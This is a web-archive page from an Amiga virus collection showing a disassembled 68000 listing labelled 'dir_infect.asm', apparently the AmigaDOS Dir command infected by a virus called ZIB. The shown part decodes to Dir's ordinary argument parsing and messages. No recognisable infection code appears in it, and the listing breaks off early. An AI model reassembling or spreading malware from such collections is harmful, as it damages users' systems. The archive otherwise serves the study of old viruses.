home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / z / ZIB / dir_infect.asm < prev    next >
Assembly Source File  |  1988-11-30  |  50KB  |  1,800 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $C8DBDFCA
  6.  
  7.  
  8.  
  9.  
  10.     SECTION S_0,CODE
  11.  
  12. SECSTRT_0:
  13.     LINK    A5,#-776        ;0000: 4E55FCF8
  14.     MOVEM.L    D2-D3/A2-A3/A6,-(A7)    ;0004: 48E73032
  15.     MOVEA    #$0004,A0        ;0008: 307C0004
  16.     MOVEA.L    (A0),A3            ;000C: 2650
  17.     MOVEA.L    A3,A0            ;000E: 204B
  18.     MOVE.L    A0,24(A7)        ;0010: 2F480018
  19.     MOVE    #$02ED,D0        ;0014: 303C02ED
  20.     MOVEQ    #0,D1            ;0018: 7200
  21.     LEA    -758(A5),A1        ;001A: 43EDFD0A
  22. LAB_0000:
  23.     MOVE.B    D1,(A1)+        ;001E: 12C1
  24.     DBF    D0,LAB_0000        ;0020: 51C8FFFC
  25.     MOVE.L    A3,-758(A5)        ;0024: 2B4BFD0A
  26.     MOVEQ    #20,D0            ;0028: 7014
  27.     MOVE.L    D0,-460(A5)        ;002A: 2B40FE34
  28.     MOVE.L    D1,-464(A5)        ;002E: 2B41FE30
  29.     LEA    LAB_001A(PC),A1        ;0032: 43FA0230
  30.     MOVEQ    #36,D0            ;0036: 7024
  31.     MOVEA.L    A3,A6            ;0038: 2C4B
  32.     JSR    -552(A6)        ;003A: 4EAEFDD8
  33.     MOVEA.L    D0,A2            ;003E: 2440
  34.     MOVE.L    A2,D0            ;0040: 200A
  35.     BEQ    LAB_0018        ;0042: 67000204
  36.     MOVE.L    A2,-754(A5)        ;0046: 2B4AFD0E
  37.     MOVE.L    #$00000800,D0        ;004A: 203C00000800
  38.     MOVE.L    #$00010001,D1        ;0050: 223C00010001
  39.     JSR    -684(A6)        ;0056: 4EAEFD54
  40.     MOVE.L    D0,-432(A5)        ;005A: 2B40FE50
  41.     BNE.S    LAB_0001        ;005E: 660E
  42.     MOVEA.L    A2,A6            ;0060: 2C4A
  43.     JSR    -132(A6)        ;0062: 4EAEFF7C
  44.     MOVE.L    D0,-464(A5)        ;0066: 2B40FE30
  45.     BRA    LAB_0015        ;006A: 600001A6
  46. LAB_0001:
  47.     LEA    LAB_001B(PC),A0        ;006E: 41FA0200
  48.     MOVE.L    A0,D1            ;0072: 2208
  49.     LEA    -456(A5),A1        ;0074: 43EDFE38
  50.     MOVE.L    A1,D2            ;0078: 2409
  51.     MOVEQ    #0,D3            ;007A: 7600
  52.     MOVEA.L    A2,A6            ;007C: 2C4A
  53.     JSR    -798(A6)        ;007E: 4EAEFCE2
  54.     MOVE.L    D0,20(A7)        ;0082: 2F400014
  55.     TST.L    D0            ;0086: 4A80
  56.     BNE.S    LAB_0002        ;0088: 660C
  57.     JSR    -132(A6)        ;008A: 4EAEFF7C
  58.     MOVE.L    D0,-464(A5)        ;008E: 2B40FE30
  59.     BRA    LAB_0014        ;0092: 60000170
  60. LAB_0002:
  61.     MOVE.L    -452(A5),D1        ;0096: 222DFE3C
  62.     BEQ.S    LAB_000A        ;009A: 6774
  63.     MOVEA.L    D1,A3            ;009C: 2641
  64.     BRA.S    LAB_0009        ;009E: 606C
  65. LAB_0003:
  66.     MOVEQ    #0,D0            ;00A0: 7000
  67.     MOVE.B    (A3)+,D0        ;00A2: 101B
  68.     SUBI    #$0041,D0        ;00A4: 04400041
  69.     BEQ.S    LAB_0005        ;00A8: 6726
  70.     SUBQ    #3,D0            ;00AA: 5740
  71.     BEQ.S    LAB_0006        ;00AC: 672A
  72.     SUBQ    #2,D0            ;00AE: 5540
  73.     BEQ.S    LAB_0007        ;00B0: 672E
  74.     SUBQ    #3,D0            ;00B2: 5740
  75.     BEQ.S    LAB_0004        ;00B4: 6712
  76.     SUBI    #$0018,D0        ;00B6: 04400018
  77.     BEQ.S    LAB_0005        ;00BA: 6714
  78.     SUBQ    #3,D0            ;00BC: 5740
  79.     BEQ.S    LAB_0006        ;00BE: 6718
  80.     SUBQ    #2,D0            ;00C0: 5540
  81.     BEQ.S    LAB_0007        ;00C2: 671C
  82.     SUBQ    #3,D0            ;00C4: 5740
  83.     BNE.S    LAB_0008        ;00C6: 6620
  84. LAB_0004:
  85.     MOVEQ    #1,D0            ;00C8: 7001
  86.     MOVE.L    D0,-436(A5)        ;00CA: 2B40FE4C
  87.     BRA.S    LAB_0009        ;00CE: 603C
  88. LAB_0005:
  89.     MOVEQ    #1,D0            ;00D0: 7001
  90.     MOVE.L    D0,-448(A5)        ;00D2: 2B40FE40
  91.     BRA.S    LAB_0009        ;00D6: 6034
  92. LAB_0006:
  93.     MOVEQ    #1,D0            ;00D8: 7001
  94.     MOVE.L    D0,-444(A5)        ;00DA: 2B40FE44
  95.     BRA.S    LAB_0009        ;00DE: 602C
  96. LAB_0007:
  97.     MOVEQ    #1,D0            ;00E0: 7001
  98.     MOVE.L    D0,-440(A5)        ;00E2: 2B40FE48
  99.     BRA.S    LAB_0009        ;00E6: 6024
  100. LAB_0008:
  101.     MOVEA.L    A2,A6            ;00E8: 2C4A
  102.     JSR    -60(A6)            ;00EA: 4EAEFFC4
  103.     MOVEQ    #0,D1            ;00EE: 7200
  104.     MOVE.B    -1(A3),D1        ;00F0: 122BFFFF
  105.     MOVE.L    D1,32(A7)        ;00F4: 2F410020
  106.     MOVE.L    D0,D1            ;00F8: 2200
  107.     MOVE.L    32(A7),D2        ;00FA: 242F0020
  108.     JSR    -312(A6)        ;00FE: 4EAEFEC8
  109.     LEA    LAB_001C(PC),A0        ;0102: 41FA01AE
  110.     MOVE.L    A0,D1            ;0106: 2208
  111.     JSR    -948(A6)        ;0108: 4EAEFC4C
  112. LAB_0009:
  113.     TST.B    (A3)            ;010C: 4A13
  114.     BNE.S    LAB_0003        ;010E: 6690
  115. LAB_000A:
  116.     TST.L    -448(A5)        ;0110: 4AADFE40
  117.     BEQ.S    LAB_000B        ;0114: 6706
  118.     BSET    #0,-465(A5)        ;0116: 08ED0000FE2F
  119. LAB_000B:
  120.     TST.L    -436(A5)        ;011C: 4AADFE4C
  121.     BEQ.S    LAB_000C        ;0120: 6706
  122.     BSET    #3,-465(A5)        ;0122: 08ED0003FE2F
  123. LAB_000C:
  124.     MOVE.L    -440(A5),D0        ;0128: 202DFE48
  125.     BEQ.S    LAB_000D        ;012C: 6706
  126.     BSET    #2,-465(A5)        ;012E: 08ED0002FE2F
  127. LAB_000D:
  128.     MOVE.L    -444(A5),D1        ;0134: 222DFE44
  129.     BEQ.S    LAB_000E        ;0138: 6706
  130.     BSET    #1,-465(A5)        ;013A: 08ED0001FE2F
  131. LAB_000E:
  132.     TST.L    D0            ;0140: 4A80
  133.     BNE.S    LAB_000F        ;0142: 660A
  134.     TST.L    D1            ;0144: 4A81
  135.     BNE.S    LAB_000F        ;0146: 6606
  136.     MOVEQ    #6,D0            ;0148: 7006
  137.     OR.L    D0,-468(A5)        ;014A: 81ADFE2C
  138. LAB_000F:
  139.     MOVE.L    #$00001000,-742(A5)    ;014E: 2B7C00001000FD1A
  140.     MOVE.B    #$01,-734(A5)        ;0156: 1B7C0001FD22
  141.     TST.L    -456(A5)        ;015C: 4AADFE38
  142.     BNE.S    LAB_0010        ;0160: 6608
  143.     LEA    LAB_001D+2(PC),A0    ;0162: 41FA0160
  144.     MOVE.L    A0,-456(A5)        ;0166: 2B48FE38
  145. LAB_0010:
  146.     MOVEA.L    -456(A5),A0        ;016A: 206DFE38
  147.     MOVE.L    A0,D1            ;016E: 2208
  148.     LEA    -750(A5),A1        ;0170: 43EDFD12
  149.     MOVE.L    A1,D2            ;0174: 2409
  150.     MOVEA.L    A2,A6            ;0176: 2C4A
  151.     JSR    -822(A6)        ;0178: 4EAEFCCA
  152.     TST.L    D0            ;017C: 4A80
  153.     BEQ.S    LAB_0011        ;017E: 672C
  154.     JSR    -132(A6)        ;0180: 4EAEFF7C
  155.     MOVE.L    D0,-464(A5)        ;0184: 2B40FE30
  156.     CMPI.L    #$00000130,D0        ;0188: 0C8000000130
  157.     BEQ.S    LAB_0013        ;018E: 6760
  158.     MOVE.B    -734(A5),D0        ;0190: 102DFD22
  159.     BTST    #1,D0            ;0194: 08000001
  160.     BNE.S    LAB_0013        ;0198: 6656
  161.     LEA    LAB_001E(PC),A0        ;019A: 41FA012A
  162.     MOVE.L    A0,D1            ;019E: 2208
  163.     LEA    -456(A5),A1        ;01A0: 43EDFE38
  164.     MOVE.L    A1,D2            ;01A4: 2409
  165.     JSR    -954(A6)        ;01A6: 4EAEFC46
  166.     BRA.S    LAB_0013        ;01AA: 6044
  167. LAB_0011:
  168.     MOVE.L    -726(A5),D0        ;01AC: 202DFD2A
  169.     TST.L    D0            ;01B0: 4A80
  170.     BPL.S    LAB_0012        ;01B2: 6A24
  171.     MOVE.B    -734(A5),D0        ;01B4: 102DFD22
  172.     BTST    #1,D0            ;01B8: 08000001
  173.     BNE.S    LAB_0012        ;01BC: 661A
  174.     MOVE.L    #$000000CC,-464(A5)    ;01BE: 2B7C000000CCFE30
  175.     LEA    LAB_0023(PC),A1        ;01C6: 43FA0120
  176.     MOVE.L    A1,D1            ;01CA: 2209
  177.     LEA    -456(A5),A0        ;01CC: 41EDFE38
  178.     MOVE.L    A0,D2            ;01D0: 2408
  179.     JSR    -954(A6)        ;01D2: 4EAEFC46
  180.     BRA.S    LAB_0013        ;01D6: 6018
  181. LAB_0012:
  182.     MOVE.B    -734(A5),D0        ;01D8: 102DFD22
  183.     ANDI.B    #$F7,D0            ;01DC: 020000F7
  184.     MOVE.B    D0,-734(A5)        ;01E0: 1B40FD22
  185.     MOVEQ    #0,D0            ;01E4: 7000
  186.     LEA    -758(A5),A0        ;01E6: 41EDFD0A
  187.     SUBA.L    A1,A1            ;01EA: 93C9
  188.     BSR    LAB_0041        ;01EC: 6100024A
  189. LAB_0013:
  190.     LEA    -750(A5),A0        ;01F0: 41EDFD12
  191.     MOVE.L    A0,D1            ;01F4: 2208
  192.     MOVEA.L    A2,A6            ;01F6: 2C4A
  193.     JSR    -834(A6)        ;01F8: 4EAEFCBE
  194.     MOVE.L    20(A7),D1        ;01FC: 222F0014
  195.     JSR    -858(A6)        ;0200: 4EAEFCA6
  196. LAB_0014:
  197.     MOVEA.L    24(A7),A3        ;0204: 266F0018
  198.     MOVEA.L    -432(A5),A1        ;0208: 226DFE50
  199.     MOVEA.L    A3,A6            ;020C: 2C4B
  200.     JSR    -690(A6)        ;020E: 4EAEFD4E
  201. LAB_0015:
  202.     MOVE.L    -464(A5),D0        ;0212: 202DFE30
  203.     BEQ.S    LAB_0017        ;0216: 6726
  204.     CMPI.L    #$00000130,D0        ;0218: 0C8000000130
  205.     BEQ.S    LAB_0016        ;021E: 6708
  206.     MOVE.L    D0,D1            ;0220: 2200
  207.     MOVEA.L    A2,A6            ;0222: 2C4A
  208.     JSR    -462(A6)        ;0224: 4EAEFE32
  209. LAB_0016:
  210.     MOVE.L    -464(A5),D0        ;0228: 202DFE30
  211.     MOVEQ    #116,D1            ;022C: 7274
  212.     ADD.L    D1,D1            ;022E: D281
  213.     CMP.L    D1,D0            ;0230: B081
  214.     BEQ.S    LAB_0017        ;0232: 670A
  215.     MOVE.L    D0,D1            ;0234: 2200
  216.     MOVEQ    #0,D2            ;0236: 7400
  217.     MOVEA.L    A2,A6            ;0238: 2C4A
  218.     JSR    -474(A6)        ;023A: 4EAEFE26
  219. LAB_0017:
  220.     MOVEA.L    A2,A1            ;023E: 224A
  221.     MOVEA.L    A3,A6            ;0240: 2C4B
  222.     JSR    -414(A6)        ;0242: 4EAEFE62
  223.     BRA.S    LAB_0019        ;0246: 6010
  224. LAB_0018:
  225.     MOVEA    #$0004,A0        ;0248: 307C0004
  226.     MOVEA.L    (A0),A1            ;024C: 2250
  227.     MOVEA.L    276(A1),A0        ;024E: 20690114
  228.     MOVEQ    #122,D0            ;0252: 707A
  229.     MOVE.L    D0,148(A0)        ;0254: 21400094
  230. LAB_0019:
  231.     MOVE.L    -460(A5),D0        ;0258: 202DFE34
  232.     MOVEM.L    (A7)+,D2-D3/A2-A3/A6    ;025C: 4CDF4C0C
  233.     UNLK    A5            ;0260: 4E5D
  234.     RTS                ;0262: 4E75
  235. LAB_001A:
  236.     DC.W    $646F            ;0264
  237.     DC.W    $732E            ;0266
  238.     DC.W    $6C69            ;0268
  239.     BHI.S    LAB_0021        ;026A: 6272
  240.     BSR.S    LAB_0022        ;026C: 6172
  241.     DC.W    $7900            ;026E
  242. LAB_001B:
  243.     DC.W    $4449            ;0270
  244.     ADDQ.B    #1,20304(A4)        ;0272: 522C4F50
  245.     ADDQ.B    #2,19244(A7)        ;0276: 542F4B2C
  246.     DC.W    $414C            ;027A
  247.     DC.W    $4C2F            ;027C
  248.     SUBQ.B    #1,17481(A4)        ;027E: 532C4449
  249.     ADDQ    #1,(A3)            ;0282: 5253
  250.     MOVE.L    (A3),11334(A7)        ;0284: 2F532C46
  251.     DC.W    $494C            ;0288
  252.     DC.W    $4553            ;028A
  253.     DC.W    $2F53            ;028C
  254.     MOVEA.L    A1,A6            ;028E: 2C49
  255.     LINK    A4,#17746        ;0290: 4E544552
  256.     MOVE.L    (A3),36(A7)        ;0294: 2F530024
  257.     ADDQ    #3,D5            ;0298: 5645
  258.     DC.W    $523A            ;029A
  259.     MOVEA.L    -(A4),A0        ;029C: 2064
  260.     BVS.S    LAB_0026        ;029E: 6972
  261.     DC.W    $2033            ;02A0
  262.     MOVE    13600(A6),-(A3)        ;02A2: 372E3520
  263.     DC.W    $2834            ;02A6
  264.     DC.W    $2E36            ;02A8
  265.     DC.W    $2E39            ;02AA
  266.     DC.W    $3129            ;02AC
  267.     DC.W    $0A0D            ;02AE
  268.     DC.W    $0000            ;02B0
  269. LAB_001C:
  270.     MOVEA.L    28788(A7),A0        ;02B2: 206F7074
  271.     DC.W    $696F            ;02B6
  272.     BGT.S    LAB_0020        ;02B8: 6E20
  273.     DC.W    $6967            ;02BA
  274.     DC.W    $6E6F            ;02BC
  275.     MOVEQ    #101,D1            ;02BE: 7265
  276.     BCC.S    LAB_001F        ;02C0: 640A
  277. LAB_001D:
  278.     ORI.B    #$00,D0            ;02C2: 00000000
  279. LAB_001E:
  280.     DC.W    $436F            ;02C6
  281.     DC.W    $756C            ;02C8
  282.     BCC.S    LAB_0024+2        ;02CA: 6420
  283. LAB_001F:
  284.     DC.W    $6E6F            ;02CC
  285.     MOVEQ    #32,D2            ;02CE: 7420
  286.     DC.W    $6765            ;02D0
  287.     MOVEQ    #32,D2            ;02D2: 7420
  288.     BVS.S    LAB_002C        ;02D4: 696E
  289.     DC.W    $666F            ;02D6
  290.     MOVEQ    #109,D1            ;02D8: 726D
  291. LAB_0020:
  292.     BSR.S    LAB_0030        ;02DA: 6174
  293.     DC.W    $696F            ;02DC
  294. LAB_0021:
  295.     BGT.S    LAB_0025        ;02DE: 6E20
  296. LAB_0022:
  297.     DC.W    $666F            ;02E0
  298.     MOVEQ    #32,D1            ;02E2: 7220
  299.     DC.W    $2573            ;02E4
  300.     DC.W    $0A00            ;02E6
  301. LAB_0023:
  302.     DC.W    $2573            ;02E8
  303. LAB_0024:
  304.     MOVEA.L    29472(A1),A0        ;02EA: 20697320
  305.     DC.W    $6E6F            ;02EE
  306.     MOVEQ    #32,D2            ;02F0: 7420
  307.     BSR.S    LAB_0027        ;02F2: 6120
  308.     DC.W    $6469            ;02F4
  309.     MOVEQ    #101,D1            ;02F6: 7265
  310.     BLS.S    LAB_0032        ;02F8: 6374
  311.     BLE.S    LAB_0032        ;02FA: 6F72
  312.     DC.W    $790A            ;02FC
  313.     DC.W    $0000            ;02FE
  314. LAB_0025:
  315.     DC.W    $4572            ;0300
  316.     MOVEQ    #111,D1            ;0302: 726F
  317.     MOVEQ    #44,D1            ;0304: 722C
  318.     MOVEA.L    -(A3),A0        ;0306: 2063
  319.     BVS.S    LAB_0036        ;0308: 6972
  320.     DC.W    $6375            ;030A
  321.     DC.W    $6C61            ;030C
  322.     MOVEQ    #32,D1            ;030E: 7220
  323.     DC.W    $6469            ;0310
  324. LAB_0026:
  325.     MOVEQ    #101,D1            ;0312: 7265
  326. LAB_0027:
  327.     BLS.S    LAB_0039        ;0314: 6374
  328.     BLE.S    LAB_0039        ;0316: 6F72
  329.     DC.W    $7920            ;0318
  330.     BCS.S    LAB_0039        ;031A: 656E
  331.     MOVEQ    #114,D2            ;031C: 7472
  332.     DC.W    $7920            ;031E
  333.     DC.W    $666F            ;0320
  334.     DC.W    $756E            ;0322
  335.     BCC.S    LAB_0029+2        ;0324: 640A
  336.     DC.W    $0000            ;0326
  337. LAB_0028:
  338.     MOVEA.L    -(A4),A4        ;0328: 2864
  339.     BVS.S    LAB_003B        ;032A: 6972
  340.     MOVE.L    -(A0),-(A4)        ;032C: 2920
  341. LAB_0029:
  342.     MOVEA    27710(A0),A6        ;032E: 3C686C3E
  343.     DC.W    $0000            ;0332
  344. LAB_002A:
  345.     MOVEA.L    -(A4),A4        ;0334: 2864
  346.     BVS.S    LAB_003C        ;0336: 6972
  347.     MOVE.L    D0,-(A4)        ;0338: 2900
  348. LAB_002B:
  349.     MOVE.L    -(A5),-(A2)        ;033A: 2525
  350.     DC.W    $256C            ;033C
  351.     DC.W    $6473            ;033E
  352.     MOVE.L    -(A5),-(A2)        ;0340: 2525
  353.     DC.W    $7320            ;0342
  354. LAB_002C:
  355.     MOVE.L    -(A5),-(A2)        ;0344: 2525
  356.     DC.W    $7300            ;0346
  357. LAB_002D:
  358.     MOVE.L    D0,D0            ;0348: 2000
  359. LAB_002E:
  360.     DC.W    $203F            ;034A
  361.     MOVE.L    D0,D0            ;034C: 2000
  362. LAB_002F:
  363.     DC.W    $0A00            ;034E
  364. LAB_0030:
  365.     DC.W    $4C69            ;0350
  366.     DC.W    $7374            ;0352
  367.     DC.W    $2069            ;0354
  368.     DC.W    $6E63            ;0356
  369.     DC.W    $6F6D            ;0358
  370.     MOVEQ    #108,D0            ;035A: 706C
  371.     BCS.S    LAB_003D        ;035C: 6574
  372.     BCS.S    LAB_0037        ;035E: 6520
  373.     MOVE.L    -(A0),-(A6)        ;0360: 2D20
  374.     DC.W    $0000            ;0362
  375. LAB_0031:
  376.     NEG    -(A5)            ;0364: 4465
  377.     DC.W    $6C65            ;0366
  378.     MOVEQ    #101,D2            ;0368: 7465
  379.     BCC.S    LAB_0033+2        ;036A: 640A
  380.     DC.W    $0000            ;036C
  381. LAB_0032:
  382.     MOVE.L    #$686C3E00,D0        ;036E: 203C686C3E00
  383. LAB_0033:
  384.     MOVE.L    #$736C3E00,D0        ;0374: 203C736C3E00
  385. LAB_0035:
  386.     MOVE.L    -(A5),-(A2)        ;037A: 2525
  387. LAB_0036:
  388.     DC.W    $256C            ;037C
  389.     DC.W    $6473            ;037E
  390. LAB_0037:
  391.     MOVE.L    -(A5),-(A2)        ;0380: 2525
  392.     DC.W    $7325            ;0382
  393.     DC.W    $2573            ;0384
  394.     DC.W    $0000            ;0386
  395. LAB_0038:
  396.     MOVE.L    -(A5),-(A2)        ;0388: 2525
  397. LAB_0039:
  398.     DC.W    $256C            ;038A
  399.     DC.W    $6473            ;038C
  400.     MOVE.L    -(A5),-(A2)        ;038E: 2525
  401.     DC.W    $2D33            ;0390
  402.     DC.W    $3173            ;0392
  403.     MOVE.L    -(A0),D0        ;0394: 2020
  404.     MOVE.L    -(A5),-(A2)        ;0396: 2525
  405.     DC.W    $730A            ;0398
  406.     DC.W    $0000            ;039A
  407. LAB_003A:
  408.     DC.W    $453D            ;039C
  409. LAB_003B:
  410.     DC.W    $454E            ;039E
  411.     ADDQ    #2,D5            ;03A0: 5445
  412.     ADDQ.B    #1,21292(A7)        ;03A2: 522F532C
  413.     DC.W    $423D            ;03A6
  414.     CLR    D1            ;03A8: 4241
  415. LAB_003C:
  416.     DC.W    $434B            ;03AA
  417.     MOVE.L    (A3),11332(A7)        ;03AC: 2F532C44
  418.     DC.W    $454C            ;03B0
  419.     MOVE    D4,17740(A6)        ;03B2: 3D44454C
  420.     DC.W    $4554            ;03B6
  421.     DC.W    $452F            ;03B8
  422.     SUBQ.B    #1,20797(A4)        ;03BA: 532C513D
  423.     SUBQ    #8,(A5)            ;03BE: 5155
  424.     DC.W    $4954            ;03C0
  425.     DC.W    $2F53            ;03C2
  426.     MOVEA.L    D3,A6            ;03C4: 2C43
  427.     DC.W    $3D43            ;03C6
  428.     DC.W    $4F4D            ;03C8
  429.     DC.W    $2F53            ;03CA
  430.     MOVEA.L    D3,A6            ;03CC: 2C43
  431.     DC.W    $4F4D            ;03CE
  432.     DC.W    $4D41            ;03D0
  433. LAB_003D:
  434.     TRAP    #4            ;03D2: 4E44
  435.     DC.W    $0000            ;03D4
  436. LAB_003E:
  437.     DC.W    $543D            ;03D6
  438.     ADDQ    #2,(A1)+        ;03D8: 5459
  439.     ADDQ    #8,D5            ;03DA: 5045
  440.     MOVE.L    (A3),11330(A7)        ;03DC: 2F532C42
  441.     DC.W    $3D42            ;03E0
  442.     DC.W    $4143            ;03E2
  443.     DC.W    $4B2F            ;03E4
  444.     SUBQ.B    #1,17477(A4)        ;03E6: 532C4445
  445.     DC.W    $4C3D            ;03EA
  446.     NEG    D5            ;03EC: 4445
  447.     DC.W    $4C45            ;03EE
  448.     ADDQ    #2,D5            ;03F0: 5445
  449.     DC.W    $2F53            ;03F2
  450.     MOVEA.L    (A1),A6            ;03F4: 2C51
  451.     DC.W    $3D51            ;03F6
  452.     SUBQ    #2,A1            ;03F8: 5549
  453.     ADDQ.B    #2,21292(A7)        ;03FA: 542F532C
  454.     DC.W    $433D            ;03FE
  455.     DC.W    $434F            ;0400
  456.     DC.W    $4D2F            ;0402
  457.     SUBQ.B    #1,17231(A4)        ;0404: 532C434F
  458.     DC.W    $4D4D            ;0408
  459.     DC.W    $414E            ;040A
  460.     NEG.B    D0            ;040C: 4400
  461. LAB_003F:
  462.     EORI    #$6F6D,D3        ;040E: 0A436F6D
  463.     DC.W    $6D61            ;0412
  464.     BGT.S    LAB_0043        ;0414: 6E64
  465.     DC.W    $203F            ;0416
  466.     MOVE.L    D0,D0            ;0418: 2000
  467. LAB_0040:
  468.     DC.W    $496E            ;041A
  469.     MOVEQ    #97,D3            ;041C: 7661
  470.     DC.W    $6C69            ;041E
  471.     BCC.S    LAB_0042        ;0420: 6420
  472.     MOVEQ    #101,D1            ;0422: 7265
  473.     DC.W    $7370            ;0424
  474.     BLE.S    LAB_0045        ;0426: 6F6E
  475.     DC.W    $7365            ;0428
  476.     MOVE.L    8308(A5),D0        ;042A: 202D2074
  477.     MOVEQ    #121,D1            ;042E: 7279
  478.     MOVEA.L    -(A1),A0        ;0430: 2061
  479.     DC.W    $6761            ;0432
  480.     BVS.S    LAB_0046        ;0434: 696E
  481.     DC.W    $0A00            ;0436
  482. LAB_0041:
  483.     LINK    A5,#-36            ;0438: 4E55FFDC
  484.     MOVEM.L    D2-D7/A2-A3/A6,-(A7)    ;043C: 48E73F32
  485.     MOVE.L    D0,D7            ;0440: 2E00
  486. LAB_0042:
  487.     MOVEA.L    A1,A3            ;0442: 2649
  488.     MOVE.L    A0,-32(A5)        ;0444: 2B48FFE0
  489.     SUBA.L    A0,A0            ;0448: 91C8
  490.     MOVE.L    A0,-20(A5)        ;044A: 2B48FFEC
  491.     MOVE.L    A0,D6            ;044E: 2C08
  492.     MOVEA.L    -32(A5),A2        ;0450: 246DFFE0
  493.     MOVEQ    #20,D0            ;0454: 7014
  494.     MOVE.L    D0,298(A2)        ;0456: 2540012A
  495.     MOVE.L    A0,D5            ;045A: 2A08
  496.     MOVE.L    A3,-28(A5)        ;045C: 2B4BFFE4
  497.     BCLR    #5,293(A2)        ;0460: 08AA00050125
  498.     MOVE.L    32(A2),D0        ;0466: 202A0020
  499.     TST.L    D0            ;046A: 4A80
  500.     BLE.S    LAB_0044        ;046C: 6F22
  501.     TST.L    D7            ;046E: 4A87
  502.     BNE.S    LAB_0043        ;0470: 6608
  503.     BTST    #1,24(A2)        ;0472: 082A00010018
  504.     BNE.S    LAB_0044        ;0478: 6616
  505. LAB_0043:
  506.     BSET    #2,24(A2)        ;047A: 08EA00020018
  507.     LEA    8(A2),A0        ;0480: 41EA0008
  508.     MOVE.L    A0,D1            ;0484: 2208
  509.     MOVEA.L    4(A2),A6        ;0486: 2C6A0004
  510.     JSR    -828(A6)        ;048A: 4EAEFCC4
  511.     MOVE.L    D0,D5            ;048E: 2A00
  512. LAB_0044:
  513.     BTST    #4,22(A2)        ;0490: 082A00040016
  514. LAB_0045:
  515.     BEQ.S    LAB_0046        ;0496: 670C
  516.     MOVE.L    #$00000130,D5        ;0498: 2A3C00000130
  517.     MOVEQ    #64,D0            ;049E: 7040
  518.     MOVE.L    D0,290(A2)        ;04A0: 25400122
  519. LAB_0046:
  520.     TST.L    D5            ;04A4: 4A85
  521.     BNE    LAB_005F        ;04A6: 66000316
  522.     MOVEA.L    12(A2),A0        ;04AA: 206A000C
  523.     MOVE.L    8(A0),D1        ;04AE: 22280008
  524.     MOVEA.L    4(A2),A6        ;04B2: 2C6A0004
  525.     JSR    -96(A6)            ;04B6: 4EAEFFA0
  526.     MOVE.L    D0,D6            ;04BA: 2C00
  527.     MOVE.L    D6,-24(A5)        ;04BC: 2B46FFE8
  528.     MOVEA.L    A3,A0            ;04C0: 204B
  529.     MOVE.L    A0,-28(A5)        ;04C2: 2B48FFE4
  530.     MOVE.L    A0,746(A2)        ;04C6: 254802EA
  531.     BRA.S    LAB_0049        ;04CA: 6038
  532. LAB_0047:
  533.     MOVEA.L    746(A2),A0        ;04CC: 206A02EA
  534.     MOVE.L    4(A0),D1        ;04D0: 22280004
  535.     MOVE.L    D6,D2            ;04D4: 2406
  536.     MOVEA.L    4(A2),A6        ;04D6: 2C6A0004
  537.     JSR    -420(A6)        ;04DA: 4EAEFE5C
  538.     TST.L    D0            ;04DE: 4A80
  539.     BNE.S    LAB_0048        ;04E0: 6616
  540.     BTST    #3,24(A2)        ;04E2: 082A00030018
  541.     BNE.S    LAB_0048        ;04E8: 660E
  542.     LEA    LAB_0025(PC),A1        ;04EA: 43FAFE14
  543.     MOVE.L    A1,D1            ;04EE: 2209
  544.     JSR    -948(A6)        ;04F0: 4EAEFC4C
  545.     BRA    LAB_0071        ;04F4: 6000050E
  546. LAB_0048:
  547.     MOVEA.L    -32(A5),A2        ;04F8: 246DFFE0
  548.     MOVEA.L    746(A2),A0        ;04FC: 206A02EA
  549.     MOVE.L    (A0),746(A2)        ;0500: 255002EA
  550. LAB_0049:
  551.     TST.L    746(A2)            ;0504: 4AAA02EA
  552.     BNE.S    LAB_0047        ;0508: 66C2
  553.     BRA    LAB_005F        ;050A: 600002B2
  554. LAB_004A:
  555.     BTST    #3,24(A2)        ;050E: 082A00030018
  556.     BEQ.S    LAB_004B        ;0514: 670E
  557.     BCLR    #3,24(A2)        ;0516: 08AA00030018
  558.     MOVEQ    #116,D5            ;051C: 7A74
  559.     ADD.L    D5,D5            ;051E: DA85
  560.     BRA    LAB_0060        ;0520: 600002A2
  561. LAB_004B:
  562.     MOVEA.L    -32(A5),A2        ;0524: 246DFFE0
  563.     BTST    #4,22(A2)        ;0528: 082A00040016
  564.     BEQ.S    LAB_004C        ;052E: 6710
  565.     MOVE.L    #$00000130,D5        ;0530: 2A3C00000130
  566.     MOVEQ    #64,D0            ;0536: 7040
  567.     MOVE.L    D0,290(A2)        ;0538: 25400122
  568.     BRA    LAB_0060        ;053C: 60000286
  569. LAB_004C:
  570.     MOVEA.L    -32(A5),A2        ;0540: 246DFFE0
  571.     BTST    #1,293(A2)        ;0544: 082A00010125
  572.     BEQ    LAB_0055        ;054A: 6700011E
  573.     MOVE.L    32(A2),D0        ;054E: 202A0020
  574.     TST.L    D0            ;0552: 4A80
  575.     BLE    LAB_0055        ;0554: 6F000114
  576.     MOVEA.L    A2,A0            ;0558: 204A
  577.     LEA    330(A0),A3        ;055A: 47E8014A
  578.     ADDA    #$0024,A2        ;055E: D4FC0024
  579.     BTST    #1,24(A0)        ;0562: 082800010018
  580.     BEQ.S    LAB_004D        ;0568: 6728
  581.     TST.L    D7            ;056A: 4A87
  582.     BNE.S    LAB_004D        ;056C: 6624
  583.     MOVEA.L    -32(A5),A1        ;056E: 226DFFE0
  584.     MOVEA.L    12(A1),A0        ;0572: 2069000C
  585.     MOVE.L    8(A0),D1        ;0576: 22280008
  586.     MOVE.L    A3,D2            ;057A: 240B
  587.     MOVEQ    #64,D3            ;057C: 7640
  588.     ADD.L    D3,D3            ;057E: D683
  589.     MOVEA.L    4(A1),A6        ;0580: 2C690004
  590.     JSR    -402(A6)        ;0584: 4EAEFE6E
  591.     MOVE.L    D2,D1            ;0588: 2202
  592.     MOVE.L    A2,D2            ;058A: 240A
  593.     JSR    -882(A6)        ;058C: 4EAEFC8E
  594.     BRA.S    LAB_004E        ;0590: 600C
  595. LAB_004D:
  596.     MOVEQ    #64,D0            ;0592: 7040
  597.     ADD.L    D0,D0            ;0594: D080
  598.     MOVEA.L    A3,A0            ;0596: 204B
  599.     MOVEA.L    A2,A1            ;0598: 224A
  600.     JSR    LAB_008F(PC)        ;059A: 4EBA0754
  601. LAB_004E:
  602.     MOVEA.L    -32(A5),A2        ;059E: 246DFFE0
  603.     MOVE.L    D7,D0            ;05A2: 2007
  604.     ADDQ.L    #1,D0            ;05A4: 5280
  605.     MOVE.L    D0,D1            ;05A6: 2200
  606.     LSL.L    #2,D1            ;05A8: E589
